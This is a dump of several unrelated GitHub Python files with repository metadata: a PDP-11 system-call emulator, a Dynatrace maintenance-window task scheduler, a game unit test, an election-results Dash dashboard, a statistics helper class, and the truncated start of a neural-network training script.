vm.mem.read(fn_addr, 1)\n fn = \"\"\n while ch != 0:\n fn += chr(ch)\n fn_addr += 1\n ch = vm.mem.read(fn_addr, 1)\n\n vm.incr_PC()\n mode = vm.mem.read(vm.get_PC(), 2)\n\n try:\n fd = os.open(fn, mode)\n vm.register['r0'] = fd\n vm.files[fd] = fn\n vm.logger.info('sys open {} (fd={})'.format(fn, fd))\n PSW['C'] = 0\n\n except FileNotFoundError:\n vm.logger.warning('sys open: file {} not found'.format(fn))\n PSW['C'] = 1\n finally:\n vm.PSW.set(PSW)\n\n vm.incr_PC()\n\n elif self.expr == 'unlink':\n # sys unlink; name\n PSW = vm.PSW.get()\n\n vm.incr_PC()\n\n fn_addr = vm.mem.read(vm.get_PC(), 2)\n ch = vm.mem.read(fn_addr, 1)\n fn = \"\"\n while ch != 0:\n fn += chr(ch)\n fn_addr += 1\n ch = vm.mem.read(fn_addr, 1)\n\n try:\n os.unlink(fn)\n vm.logger.debug('sys unlink {}'.format(fn))\n PSW['C'] = 0\n\n except FileNotFoundError:\n PSW['C'] = 1\n finally:\n vm.PSW.set(PSW)\n\n vm.incr_PC()\n\n elif self.expr == 'read':\n # (file descriptor in r0)\n # sys read; buffer; nbytes\n\n PSW = vm.PSW.get()\n\n vm.incr_PC()\n buffer_addr = vm.mem.read(vm.get_PC(), 2)\n\n vm.incr_PC()\n nbytes = vm.mem.read(vm.get_PC(), 2)\n\n try:\n byte_str = os.read(vm.register['r0'], nbytes)\n vm.logger.debug('sys read {} (fd={}) {} bytes'.format(vm.files[vm.register['r0']],\n vm.register['r0'], len(byte_str)))\n for ch in byte_str:\n vm.mem.write(buffer_addr, ch, byte=True)\n buffer_addr += 1\n vm.register['r0'] = len(byte_str)\n\n PSW['C'] = 0\n except:\n PSW['C'] = 1\n finally:\n vm.PSW.set(PSW)\n\n vm.incr_PC()\n\n elif self.expr == 'chmod':\n # sys chmod; name; mode\n\n PSW = vm.PSW.get()\n\n vm.incr_PC()\n\n fn_addr = vm.mem.read(vm.get_PC(), 2)\n ch = vm.mem.read(fn_addr, 1)\n fn = \"\"\n while ch != 0:\n fn += chr(ch)\n fn_addr += 1\n ch = vm.mem.read(fn_addr, 1)\n\n vm.incr_PC()\n mode = vm.mem.read(vm.get_PC(), 2)\n\n vm.logger.debug('sys chmod {} {}'.format(fn, mode))\n os.chmod(fn, mode)\n\n PSW['C'] = 0\n\n vm.incr_PC()\n\n elif self.expr == 'close':\n # (file descriptor in r0)\n # sys close\n\n vm.logger.debug('sys close {} (fd={})'.format(vm.files[vm.register['r0']], vm.register['r0']))\n os.close(vm.register['r0'])\n vm.incr_PC()\n\n elif self.expr == 'exec':\n # sys exec; name; args\n # name: <...\\0>\n # args: arg0; arg1; ...; 0\n # arg0: <...\\0>\n # arg1: <...\\0>\n # ...\n PSW = vm.PSW.get()\n\n vm.incr_PC()\n name_addr = vm.mem.read(vm.get_PC(), 2)\n ch = vm.mem.read(name_addr, 1)\n name = \"\"\n while ch != 0:\n name += chr(ch)\n name_addr += 1\n ch = vm.mem.read(name_addr, 1)\n\n vm.incr_PC() # args\n arg_addr = vm.mem.read(vm.get_PC(), 2)\n arg = vm.mem.read(arg_addr, 2)\n args_list = [arg]\n while arg != 0:\n arg_addr += 2\n arg = vm.mem.read(arg_addr, 2)\n if arg != 0:\n args_list.append(arg)\n\n arg_names = ''\n args = []\n for arg in args_list:\n ch = vm.mem.read(arg, 1)\n arg_str = \"\"\n while ch != 0:\n arg_str += chr(ch)\n arg += 1\n ch = vm.mem.read(arg, 1)\n args.append(arg_str)\n arg_names += (arg_str + ' ')\n\n if 'ASM_EXEC' in os.environ:\n vm.logger.info('ASM_EXEC ({}), {} {}'.format(os.environ['ASM_EXEC'], name, arg_names))\n else:\n vm.logger.info('sys exec {} {}'.format(name, arg_names))\n os.execv(name, args)\n\n vm.incr_PC()\n\n PSW['C'] = 0\n\n elif self.expr == 'exit':\n if 'ASM_EXIT' in os.environ:\n vm.logger.info('ASM_EXIT ({}), sys exit {}'.format(os.environ['ASM_EXIT'], vm.register['r0']))\n vm.exit = True\n else:\n vm.logger.info('sys exit {}'.format(vm.register['r0']))\n vm.exit = True\n sys.exit(vm.register['r0'] & 0xFF)\n\n elif self.expr == 'break':\n # sys break; addr\n PSW = vm.PSW.get()\n\n vm.incr_PC()\n addr = vm.mem.read(vm.get_PC(), 2)\n\n vm.logger.debug('sys break {}'.format(addr))\n\n PSW['C'] = 0\n\n elif self.expr == 'seek':\n # (file descriptor in r0)\n # sys seek; offset; ptrname\n\n PSW = vm.PSW.get()\n\n vm.incr_PC()\n offset = vm.mem.read(vm.get_PC(), 2)\n\n vm.incr_PC()\n ptrname = vm.mem.read(vm.get_PC(), 2)\n\n vm.logger.debug('sys seek, file={} (fd={}), offset={}, how={}'.format(vm.files[vm.register['r0']],\n vm.register['r0'], offset, ptrname))\n os.lseek(vm.register['r0'], offset, ptrname)\n\n PSW['C'] = 0\n\n vm.PSW.set(PSW)\n\n vm.incr_PC()\n\n else:\n vm.logger.warning('sys, {} not implemented'.format(self.expr))\n vm.incr_PC()\n\n\nclass PseudoOpStmt(Stmt):\n def __init__(self, lineno, op, operands=None):\n super().__init__(lineno, op)\n self.operands = operands\n\n def assemble(self, vm):\n if self.expr == '.byte':\n self.loc = vm.location_counter\n for op in self.operands:\n val = op.eval(vm, byte=True)\n if isinstance(val, int):\n vm.mem.write(vm.location_counter, val, byte=True)\n else:\n op = op.get(vm)\n vm.mem.write(vm.location_counter, ord(op[-1]), byte=True)\n vm.location_counter += 1\n vm.variables.add(\".\", vm.location_counter)\n elif self.expr == '.even':\n pass # Treated vm.assemble_segment\n elif self.expr in ['.data', '.text', '.bss']:\n pass # Treated vm.assemble_segment\n elif self.expr in ['.if', '.endif']:\n pass # Treated vm.assemble_segment\n else:\n vm.logger.warning('Pseudo op, {} not implemented'.format(self.expr))\n\n def get(self):\n return self.expr\n","repo_name":"Wolfrax/PyDP","sub_path":"asm/as_stmt.py","file_name":"as_stmt.py","file_ext":"py","file_size_in_byte":47254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36380058539","text":"\nimport logging\nimport requests\nimport datetime\nimport sys\nimport os\nimport win32com.client\n\n# ====================================================\n# Log configuration\n# ====================================================\n\nlogging.basicConfig(filename='log.log', filemode='a', level=logging.DEBUG, format='%(asctime)s %(levelname)s - %(message)s', datefmt='%d-%b-%y %H:%M:%S')\n\n# ====================================================\n# Command line arguments\n# ====================================================\n\n# Check number of arguments\nif len(sys.argv) != 4:\n logging.error(\"Incorrect number of command line arguments: Expected 3 (domain apiToken openDate)\")\n sys.exit(1)\n\n# Assign arguments\ndomain = sys.argv[1] \napiToken = sys.argv[2] \nopenDate = sys.argv[3] \n\nlogging.debug(\"Compiling schedules for \" + domain + \" on \" + openDate + \" with token \" + apiToken)\n\nif not (domain.startswith(\"https://\") and domain.endswith(\"/\")):\n logging.error(\"Domain error, must start with https:// and end with / .. got \" + domain)\n sys.exit(1)\n\ntry:\n datetime.datetime.strptime(openDate, \"%Y-%m-%d\")\nexcept:\n logging.error(\"Date error: Date should be given in YYYY-MM-DD format.\")\n sys.exit(1)\n\nif len(apiToken) != 21:\n logging.error(\"API token error, length should be 21\")\n sys.exit(1)\n\n\n# ====================================================\n# Functions\n# ====================================================\n\ndef getWindowIds(ENV, TOKEN, HEADERS):\n # pulls Ids for all maintenance windows\n r = requests.get(ENV + 'api/config/v1/maintenanceWindows' , headers = HEADERS)\n res = r.json()\n\n ids = []\n for entry in res['values']:\n ids.append(entry['id'])\n \n return(ids)\n\ndef collectWindows(ENV, TOKEN, HEADERS, DATE):\n # returns on-off times and tags for scripts \n curDate = DATE\n doMonth = curDate.day\n doWeek = curDate.strftime('%A').upper()\n \n windowIds = getWindowIds(ENV, TOKEN, HEADERS)\n windows = []\n tagCap = []\n\n for i in windowIds:\n tmp = requests.get(ENV + 'api/config/v1/maintenanceWindows/' + i , headers = HEADERS).json()\n \n if datetime.datetime.strptime(tmp['schedule']['start'], '%Y-%m-%d %H:%M').date() > curDate:\n continue # window has not yet started\n if datetime.datetime.strptime(tmp['schedule']['end'], '%Y-%m-%d %H:%M').date() <= curDate:\n continue # window has expired\n if tmp['schedule']['recurrenceType'] == 'MONTHLY':\n if tmp['schedule']['recurrence']['dayOfMonth'] != doMonth:\n continue # window does not occur today\n elif tmp['schedule']['recurrenceType'] == 'WEEKLY':\n if tmp['schedule']['recurrence']['dayOfWeek'] != doWeek:\n continue # window does not occur today\n elif tmp['schedule']['recurrenceType'] == 'ONCE':\n if datetime.datetime.strptime(tmp['schedule']['start'], '%Y-%m-%d %H:%M').date() != curDate:\n continue # window does not open today\n \n winDict = {\n 'name': tmp['name'],\n 'recurrenceType': tmp['schedule']['recurrenceType']\n }\n\n turnOff = ''\n if tmp['schedule']['recurrenceType'] == 'ONCE':\n turnOff = datetime.datetime.strptime(tmp['schedule']['start'], '%Y-%m-%d %H:%M')\n else:\n turnOff = datetime.datetime.strptime(tmp['schedule']['recurrence']['startTime'], '%H:%M')\n\n backOn = ''\n if tmp['schedule']['recurrenceType'] == 'ONCE':\n backOn = datetime.datetime.strptime(tmp['schedule']['end'], '%Y-%m-%d %H:%M')\n else: \n backOn = turnOff + datetime.timedelta(minutes = int(tmp['schedule']['recurrence']['durationMinutes']))\n\n tag = ''\n if tmp['scope']:\n if tmp['scope']['matches']:\n tag = tmp['scope']['matches'][0]['tags'][0]['key'] #handles only one tag per window\n if tag not in tagCap:\n tagCap.append(tag)\n \n winDict['tag'] = tag\n winDict['turnOff'] = datetime.datetime.combine(curDate, turnOff.time())\n winDict['backOn'] = datetime.datetime.combine(curDate, backOn.time())\n \n if winDict['backOn'].time() <= winDict['turnOff'].time(): # handles window ending the next day\n winDict['backOn'] = winDict['backOn'] + datetime.timedelta(days = 1) \n \n windows.append(winDict)\n \n if '' in tagCap: # duplicate the no-scoped window for each tag with scoped windows today, to allow for overlap checking\n tagCap.remove('')\n for i in windows:\n if i['tag'] == '':\n for j in tagCap:\n windows.append({'tag': j, 'turnOff': i['turnOff'], 'backOn': i['backOn']})\n\n return(windows)\n\ndef merge_date_ranges(rangeList):\n # collapses overlapping date ranges\n data = sorted(rangeList, key = lambda tup: (tup[0], tup[1]-tup[0])) # sort ranges by start time and duration\n result = []\n t_old = data[0]\n for t in data[1:]:\n if t_old[1] >= t[0]: \n t_old = ((min(t_old[0], t[0]), max(t_old[1], t[1])))\n else:\n result.append(t_old)\n t_old = t\n else:\n result.append(t_old)\n return result\n\ndef collapseWindows(curWindows):\n # combines windows within tags for no overlaps\n tags = {} \n for i in curWindows:\n if i['tag'] not in tags.keys():\n tags[i['tag']] = []\n\n for t in tags.keys():\n # get all window ranges as tuples\n tmpWins = [] \n for i in curWindows:\n if i['tag'] == t:\n tmpWins.append((i['turnOff'], i['backOn']))\n \n # simplify window ranges\n tags[t] = merge_date_ranges(tmpWins)\n \n results = []\n for k in tags.keys():\n for i in tags[k]:\n results.append({'tag' : k , 'turnOff' : i[0], 'backOn': i[1]})\n \n return(results)\n\ndef scheduleTask(testName, runTime, script):\n # connect to Task Scheduler\n scheduler = win32com.client.Dispatch('Schedule.Service')\n scheduler.Connect()\n root_folder = scheduler.GetFolder('\\\\')\n\n # get tasks in root folder\n curTasks = root_folder.GetTasks(0)\n etasks = []\n for task in curTasks:\n etasks.append(task.Name)\n\n if testName in etasks:\n # retrieve current task definition\n task_def = root_folder.GetTask(testName).Definition \n\n logString = ' found in root folder. Added scheduled trigger for ' \n else:\n # create new task definition from scratch\n task_def = scheduler.NewTask(0)\n \n # Set parameters\n task_def.RegistrationInfo.Description = ''\n task_def.Settings.Enabled = True\n task_def.Settings.StopIfGoingOnBatteries = False\n \n # Create action\n TASK_ACTION_EXEC = 0\n action = task_def.Actions.Create(TASK_ACTION_EXEC)\n action.ID = 'DO NOTHING'\n action.Path = sys.executable # python executable\n action.Arguments = script # name of script\n action.WorkingDirectory = os.getcwd() #assumes getSetWindows.py is in the current wd\n\n logString = ' created with trigger scheduled for '\n \n #Create trigger\n start_time = runTime\n TASK_TRIGGER_TIME = 1\n trigger = task_def.Triggers.Create(TASK_TRIGGER_TIME)\n trigger.StartBoundary = start_time.isoformat()\n\n # send task to scheduler\n TASK_CREATE_OR_UPDATE = 6\n TASK_LOGON_NONE = 0\n root_folder.RegisterTaskDefinition(\n testName, # Task name\n task_def,\n TASK_CREATE_OR_UPDATE,\n '', # No user\n '', # No password\n TASK_LOGON_NONE)\n #print(testName, logString, runTime)\n logging.info(testName + logString + str(runTime))\n\n# ====================================================\n# Main execution\n# ====================================================\n\n# Params\nENV = domain\nTOKEN = apiToken\nHEADERS = {'Authorization': 'Api-Token ' + TOKEN}\nDATE = datetime.datetime.strptime(openDate, \"%Y-%m-%d\").date()\n\n# a list of all maintenance windows opening on the current date\ntmpWindows = collectWindows(ENV, TOKEN, HEADERS, DATE)\n\n# collapsed windows, having no overlaps within tag groups\nfinWindows = collapseWindows(tmpWindows)\n\nfor i in finWindows: # create on/off toggles for each window open/close\n \n actionTag = i['tag']\n nameTag = i['tag'] \n if nameTag == '':\n nameTag = 'EntireEnvironment'\n\n # schedule monitor shutdowns\n offArgs = 'toggleMonitors.py ' + 'disable ' + f'\"{actionTag}\" ' + f'\"{ENV}\" ' + f'\"{TOKEN}\"'\n scheduleTask('disable'+nameTag, i['turnOff'], offArgs)\n\n # schedule monitors back on\n onArgs = 'toggleMonitors.py ' + 'enable ' + f'\"{actionTag}\" ' + f'\"{ENV}\" ' + f'\"{TOKEN}\"'\n scheduleTask('enable'+nameTag, i['backOn'], onArgs)","repo_name":"Dynatrace/snippets","sub_path":"api/synthetic/auto-schedule-monitor-toggle/getSetWindows.py","file_name":"getSetWindows.py","file_ext":"py","file_size_in_byte":8800,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"37"} +{"seq_id":"6280171818","text":"from game_objects.enemy import Enemy\nfrom engine import game_data\nfrom engine.vector import Vector\nfrom engine.size import Size\nfrom engine.direction import Direction\nimport unittest\n\n\nclass TestsEnemy(unittest.TestCase):\n def check_obj_position(self, obj, position):\n self.assertEqual(obj.position.x, position.x)\n self.assertEqual(obj.position.y, position.y)\n\n def test_fire(self):\n game_data.game_objects.clear()\n game_data.for_destroy.clear()\n cords = Vector(55, 55)\n enemy = Enemy(cords)\n Enemy.fire(enemy, Direction.Up)\n objs = [\"Enemy\", \"Bullet\"]\n i = 0\n size_bullet_u = Size(12, 10)\n id = 0\n for game_object in game_data.game_objects:\n self.assertEqual(game_object.name, objs[i])\n if game_object.name == \"Bullet\":\n self.assertEqual(Direction.Up, game_object.direction)\n self.assertEqual(game_object.size.height,\n size_bullet_u.height)\n self.assertEqual(game_object.size.width,\n size_bullet_u.width)\n self.check_obj_position(game_object, Vector(65, 37.5))\n id = game_object.id\n i += 1\n self.assertEqual(enemy.bullet.id, id)\n","repo_name":"bkmz1840/BattleCity","sub_path":"tests/test_enemy.py","file_name":"test_enemy.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19531039190","text":"import numpy as np\nimport pandas as pd\nimport plotly.express as px\nfrom plotly.subplots import make_subplots\nimport plotly.graph_objects as go\nfrom dash import Dash, dcc, html, Input, Output\n\nmain_df_18 = pd.read_excel('https://github.com/rugpundit/PakistanElectionResults/blob/main/GE%202018%20-%20NA%20(corrected%20results).xlsx?raw=true')\nmain_df_13 = pd.read_csv('https://raw.githubusercontent.com/AmmarMalik93/Pakistan-Districtwise-Data/main/Elections_2013.csv')\n\napp = Dash(__name__)\nserver = app.server\n\napp.layout = html.Div(\n children = [\n #html.H2('Number of Votes vs. Percentage of Votes\\n'),\n #html.Div(children = \"Select the graph:\\n\", style={\"font-weight\": \"bold\"}),\n html.H1(children='Election Data Analysis', style={'text-align':'center', 'font-family':'Roboto, sans-serif',\n }),\n html.Div(\n [ \n dcc.Markdown('Created by [Ammar Malik](https://twitter.com/ammar_malik93)'),\n dcc.Markdown('Data taken from [rugpundit](https://github.com/rugpundit/PakistanElectionResults) by [Yasir Hussain Sheikh](https://twitter.com/rugpundit)'),\n\t\t dcc.Markdown('[Source Code] (https://github.com/AmmarMalik93/Pakistan-Election-Analysis/blob/main/app.py)'),\n ], \n style={'font-size':'10px', 'width':'20%', 'borderRadius': 5, 'background-color': '#AEB6BF',\n 'border':'thin lightgrey solid', 'font-family':'Roboto, sans-serif'},\n ),\n html.Div(\n [html.Label(children = \"Select the graph:\", style={\"font-weight\": \"bold\", 'font-family':'Roboto, sans-serif'}),\n dcc.Dropdown(['Votes vs Percentage', 'Votes vs Rank', 'Candidate Performance', 'Pie Chart'], 'Pie Chart', id='types'),\n html.Div(id=\"dd-output-container-1\")],\n style = {\"width\":\"30%\", \"margin-top\":\"10px\", 'font-family':'Roboto, sans-serif'}, \n ),\n \n #html.Div(children = \"\\nSelect a district:\\n\", style={\"font-weight\": \"bold\"}),\n html.Div(\n [\n html.Label(children='Select a district:', style={'font-weight':'bold', 'font-family':'Roboto, sans-serif'}),\n dcc.Dropdown(np.sort(main_df_18[main_df_18.Province=='Punjab'].District.unique()), 'Lahore', id='district'),\n html.Div(id=\"dd-output-container-2\")],\n style = {\"width\":\"30%\", \"margin-top\":\"10px\", 'font-family':'Roboto, sans-serif'}, \n ),\n html.Div(children = \"\\nSelect political parties:\", style={\"font-weight\":\"bold\", \"margin-top\":\"10px\", 'font-family':'Roboto, sans-serif'}),\n html.Div(\n [\n dcc.Checklist(['PML-N', 'PTI', 'PPP'], ['PML-N', 'PTI'], id='parties'),\n ],\n ),\n html.Div(\n [html.Label(children='Select the year:', style={'font-weight':'bold', 'font-family':'Roboto, sans-serif'}), \n dcc.RadioItems(options=[{'label':'2013', 'value':'2013'}, {'label':'2018', 'value':'2018'}], value='2018', id='year'),\n ], style = {\"width\":\"30%\", \"margin-top\":\"10px\"}, \n ),\n html.Div(\n [dcc.Graph(id=\"graph\"),\n ],),\n \n ],\n className='container'\n )\n\n@app.callback(\n Output(\"graph\", \"figure\"), \n Input(\"types\", \"value\"),\n Input(\"district\", \"value\"),\n Input(\"year\", \"value\"), \n Input(\"parties\", \"value\"))\n\ndef update_graph(types, district, year, parties):\n if year== '2018':\n df = main_df_18[main_df_18.District==district]\n else:\n df = main_df_13[main_df_13.District==district]\n\n df = df.loc[:, ['Constituency', 'Rank', 'Candidate', 'Party', 'Votes']] \n df['Percent_Votes'] = df.Votes*100/df.groupby('Constituency').Votes.transform('sum')\n if types == 'Pie Chart':\n ds = pd.DataFrame(df[df.Rank==1].groupby('Party')['Party'].count())\n ds.columns = ['Count']\n ds = ds.reset_index(level=0)\n fig = px.pie(ds, values='Count', names='Party', hole=.5, color_discrete_map={\"PML-N\":\"green\", \"PTI\":\"red\", \"PPP\":\"black\"}, color='Party',\n labels={'Count':'Seats Won'})\n fig.update_traces(textposition='inside', textinfo='percent+label')\n fig.update_layout(uniformtext_minsize=16, uniformtext_mode='hide',\n annotations=[dict(text='Seats Won', x=0.5, y=0.5, font_size=22, showarrow=False)],\n title = '<b>%s-District-%s</b>'%(district,year), title_x=0.5, font=dict(size=20), \n hoverlabel=dict(font_size=15),\n legend=dict(x=0,y=1, bgcolor=\"LightSteelBlue\",bordercolor=\"Black\", borderwidth=2,\n font=dict(size=15, color=\"black\")))\n\n elif types == 'Votes vs Percentage':\n if len(parties)>2:\n fig = px.scatter(df[(df.Party==parties[0])|(df.Party==parties[1])|(df.Party==parties[2])], x=\"Votes\", y=\"Percent_Votes\", color=\"Party\", \n hover_data=['Candidate'], color_discrete_map={\"PML-N\":\"green\", \"PTI\":\"red\", \"PPP\":\"black\"})\n else:\n fig = px.scatter(df[(df.Party==parties[0])|(df.Party==parties[1])], x=\"Votes\", y=\"Percent_Votes\", color=\"Party\", \n hover_data=['Candidate'], color_discrete_map={\"PML-N\":\"green\", \"PTI\":\"red\", \"PPP\":\"black\"})\n\n fig.update_traces(marker=dict(size=12, line=dict(width=2)), selector=dict(mode='markers'))\n\n fig.update_xaxes(title_text = \"<b>Votes</b>\", title_font = {\"size\": 15}, title_standoff = 10)\n\n fig.update_yaxes(title_text = \"<b>Percentage Votes</b>\", title_font = {\"size\": 15}, title_standoff = 10)\n\n fig.update_layout(legend=dict(x=0,y=1, bgcolor=\"LightSteelBlue\",bordercolor=\"Black\", borderwidth=2,\n font=dict(size=15, color=\"black\")), width=800, height=400, title = '<b>%s-District-%s</b>'%(district,year), title_x=0.5, font=dict(size=20),\n hoverlabel=dict(font_size=15))\n\n fig.add_hline(y=df[df.Rank==1].Percent_Votes.mean(), line_width=1, line_dash=\"dash\", line_color=\"black\",\n annotation_text='<b>Average<br> Win Pct.<br> : %.1f</b>'%df[df.Rank==1].Percent_Votes.mean(), annotation_font_size=16, annotation_position=\"right\", annotation_font_color=\"black\")\n\n elif types == 'Votes vs Rank':\n fig = px.scatter(df[(df.Party==parties[0])], x=\"Rank\", y=\"Percent_Votes\", color=\"Party\", \n hover_data=['Candidate'], color_discrete_map={\"PML-N\":\"green\", \"PTI\":\"red\", \"PPP\":\"black\"})\n\n fig.update_traces(marker=dict(size=12, line=dict(width=2)), selector=dict(mode='markers'))\n\n fig.update_xaxes(title_text = \"<b>Final Position</b>\", title_font = {\"size\": 15}, title_standoff = 10)\n\n fig.update_yaxes(title_text = \"<b>Percentage Votes</b>\", title_font = {\"size\": 15}, title_standoff = 10)\n\n fig.update_layout(width=800, height=400, title = '<b>%s-District-%s-%s</b>'%(district,year,parties[0]), title_x=0.5, font=dict(size=20),\n hoverlabel=dict(font_size=15), xaxis = dict(tickmode = 'array',tickvals = [1, 2, 3], ticktext = ['<b>First</b>', '<b>Second</b>', '<b>Third</b>']),\n )\n \n else: #if types == 'Candidate Performance':#else:\n if len(parties)>2:\n fig = px.bar(df[(df.Party==parties[0])|(df.Party==parties[1])|(df.Party==parties[2])], x=\"Percent_Votes\", y=\"Constituency\", color=\"Party\", text='Candidate', \n hover_data=['Candidate'], color_discrete_map={\"PML-N\":\"green\", \"PTI\":\"red\", \"PPP\":\"black\"}, barmode='group')\n else:\n fig = px.bar(df[(df.Party==parties[0])|(df.Party==parties[1])], x=\"Percent_Votes\", y=\"Constituency\", color=\"Party\", text='Candidate', \n hover_data=['Candidate'], color_discrete_map={\"PML-N\":\"green\", \"PTI\":\"red\", \"PPP\":\"black\"}, barmode='group')\n\n\n fig.update_traces(textposition='inside', textfont_size=16)\n\n fig.update_xaxes(title_text = \"<b>Percentage Votes (%) </b>\",title_font = {\"size\": 15},title_standoff = 10)\n\n fig.update_yaxes(title_text = \"<b>Constituency</b>\",title_font = {\"size\": 15},title_standoff = 10)\n\n fig.update_layout(legend=dict(font=dict(size=20,color=\"black\"),\n bgcolor=\"LightSteelBlue\", bordercolor=\"Black\", borderwidth=2),\n width=1200, height=800, title = '<b>%s-District-%s</b>'%(district,year), title_x=0.5, font=dict(size=20),\n hoverlabel=dict(font_size=15))\n\n fig.add_vline(x=df[df.Rank==1].Percent_Votes.mean(), line_width=2, line_dash=\"dash\", line_color=\"black\",\n annotation_text='<b>Average Win Pct: %.1f</b>'%df[df.Rank==1].Percent_Votes.mean(), annotation_font_size=16, annotation_position=\"top\", annotation_font_color=\"black\")\n\n\n return fig\n\n\nif __name__ == '__main__':\n\tapp.run_server(debug=True)\n","repo_name":"AmmarMalik93/Pakistan-Election-Analysis","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14021058291","text":"\"\"\"\nThe Base analysis class which all other analysis classes inherit. Contains\ngeneral functions which can be of use for various analysis objects, e.g.\ncomputing a kernel density estimate.\n\"\"\"\n\nimport numpy as np\nfrom sklearn.neighbors import KernelDensity\n\n\nclass BaseAnalysis:\n \"\"\"\n A Basic analysis class\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Constructor\n \"\"\"\n self.name = 'Base_Analysis'\n\n def auto_correlation_function(self, X, max_lag):\n \"\"\"\n Compute the autocorrelation of X over max_lag time steps\n\n Parameters:\n - X (array, size (N,)): the samples from which to compute the ACF\n - max_lag (int): the max number of time steps, determines max\n lead time\n\n Returns:\n - R (array): array of ACF values\n \"\"\"\n lags = np.arange(1, max_lag)\n R = np.zeros(lags.size)\n\n idx = 0\n\n print('Computing auto-correlation function')\n\n # for every lag, compute autocorrelation:\n # R = E[(X_t - mu_t)*(X_s - mu_s)]/(std_t*std_s)\n for lag in lags:\n\n X_t = X[0:-lag]\n X_s = X[lag:]\n\n mu_t = np.mean(X_t)\n std_t = np.std(X_t)\n mu_s = np.mean(X_s)\n std_s = np.std(X_s)\n\n R[idx] = np.mean((X_t - mu_t) * (X_s - mu_s)) / (std_t * std_s)\n idx += 1\n\n print('done')\n\n e_fold_idx = np.where(R <= np.e**-1)[0][0]\n print('E-folding index = %d' % e_fold_idx)\n\n return R\n\n def cross_correlation_function(self, X, Y, max_lag):\n \"\"\"\n Compute the crosscorrelation between X and Y over max_lag time steps\n\n Parameters:\n - X, Y (array, size (N,)): the samples from which to compute the CCF\n - max_lag (int): the max number of time steps, determines max\n lead time\n\n Returns:\n - C (array): array of CCF values\n \"\"\"\n lags = np.arange(1, max_lag)\n C = np.zeros(lags.size)\n\n idx = 0\n\n print('Computing cross-correlation function')\n\n # for every lag, compute cross correlation:\n # R = E[(X_t - mu_Xt)*(Y_s - mu_Ys)]/(std_Xt*std_Ys)\n for lag in lags:\n\n X_t = X[0:-lag]\n Y_s = Y[lag:]\n\n mu_t = np.mean(X_t)\n std_t = np.std(X_t)\n mu_s = np.mean(Y_s)\n std_s = np.std(Y_s)\n\n C[idx] = np.mean((X_t - mu_t) * (Y_s - mu_s)) / (std_t * std_s)\n idx += 1\n\n print('done')\n\n return C\n\n def get_pdf(self, X, Npoints=100):\n \"\"\"\n Computes a kernel density estimate of the samples in X\n\n Parameters:\n - X (array): the samples\n - Npoints (int, default = 100): the number of points in the domain of X\n\n Returns:\n - domain (array of size (Npoints,): the domain of X\n - kde (array of size (Npoints,): the kernel-density estimate\n \"\"\"\n\n # kernel = stats.gaussian_kde(X, bw_method='scott')\n # x = np.linspace(np.min(X), np.max(X), Npoints)\n # pde = kernel.evaluate(x)\n # return x, pde\n\n print('Computing kernel-density estimate')\n\n X_min = np.min(X)\n X_max = np.max(X)\n bandwidth = (X_max - X_min) / 40\n\n kde = KernelDensity(kernel='gaussian', bandwidth=bandwidth).fit(X.reshape(-1, 1))\n domain = np.linspace(X_min, X_max, Npoints).reshape(-1, 1)\n log_dens = kde.score_samples(domain)\n\n print('done')\n\n return domain, np.exp(log_dens)\n\n def get_confidence_intervals(self, samples, conf=0.9):\n \"\"\"\n Compute the confidence intervals given an array of samples\n\n Parameters\n ----------\n samples : array\n Samples on which to compute the intervals.\n conf : float, optional, must be in [0, 1].\n The confidence interval percentage. The default is 0.9.\n\n Returns\n -------\n lower : array\n The lower confidence bound..\n upper : array\n The upper confidence bound.\n\n \"\"\"\n\n # ake sure conf is in [0, 1]\n if conf < 0.0 or conf > 1.0:\n print('conf must be specified within [0, 1]')\n return\n\n # lower bound = alpha, upper bound = 1 - alpha\n alpha = 0.5 * (1.0 - conf)\n\n # arrays for lower and upper bound of the interval\n n_samples = samples.shape[0]\n N_qoi = samples.shape[1]\n lower = np.zeros(N_qoi)\n upper = np.zeros(N_qoi)\n\n # the probabilities of the ecdf\n prob = np.linspace(0, 1, n_samples)\n # the closest locations in prob that correspond to the interval bounds\n idx0 = np.where(prob <= alpha)[0][-1]\n idx1 = np.where(prob <= 1.0 - alpha)[0][-1]\n\n # for every location of qoi compute the ecdf-based confidence interval\n for i in range(N_qoi):\n # the sorted surrogate samples at the current location\n samples_sorted = np.sort(samples[:, i])\n # the corresponding confidence interval\n lower[i] = samples_sorted[idx0]\n upper[i] = samples_sorted[idx1]\n\n return lower, upper\n\n def recursive_moments(self, X_np1, mu_n, sigma2_n, N):\n \"\"\"\n Update the mean and variance using a new data sample X_np1.\n\n Parameters\n ----------\n X_np1 : aray\n A new data point, iteration n+1\n mu_n : array\n The mean compute using all samples up to iteration n\n sigma2_n : array\n The variance compute using all samples up to iteration n.\n N : int\n The number of samples.\n\n Returns\n -------\n mu_np1 : array\n The new mean, updated with the latest data point.\n sigma2_np1 : TYPE\n The new variance, updated with the latest data point..\n\n \"\"\"\n\n mu_np1 = mu_n + (X_np1 - mu_n) / (N + 1)\n\n sigma2_np1 = sigma2_n + mu_n**2 - mu_np1**2 + (X_np1**2 - sigma2_n - mu_n**2) / (N + 1)\n\n return mu_np1, sigma2_np1\n","repo_name":"wedeling/EasySurrogate","sub_path":"easysurrogate/analysis/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":6107,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"37"} +{"seq_id":"19834906812","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[2]:\n\n\n\nfrom WRN import *\nfrom input_module import *\nimport time\nimport tensorflow as tf\nimport pandas as pd\n# In[1]:\n\nclass Train(object):\n def __init__(self):\n self.placeholders()\n\n def placeholders(self):\n self.image_placeholder = tf.placeholder(dtype=tf.float32, shape=[FLAGS.train_batch_size, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])\n\n self.label_placeholder = tf.placeholder(dtype=tf.int32, shape=[FLAGS.train_batch_size])\n\n self.vali_image_placeholder = tf.placeholder(dtype=tf.float32, shape=[FLAGS.validation_batch_size, IMG_HEIGHT, IMG_WIDTH, IMG_DEPTH])\n\n 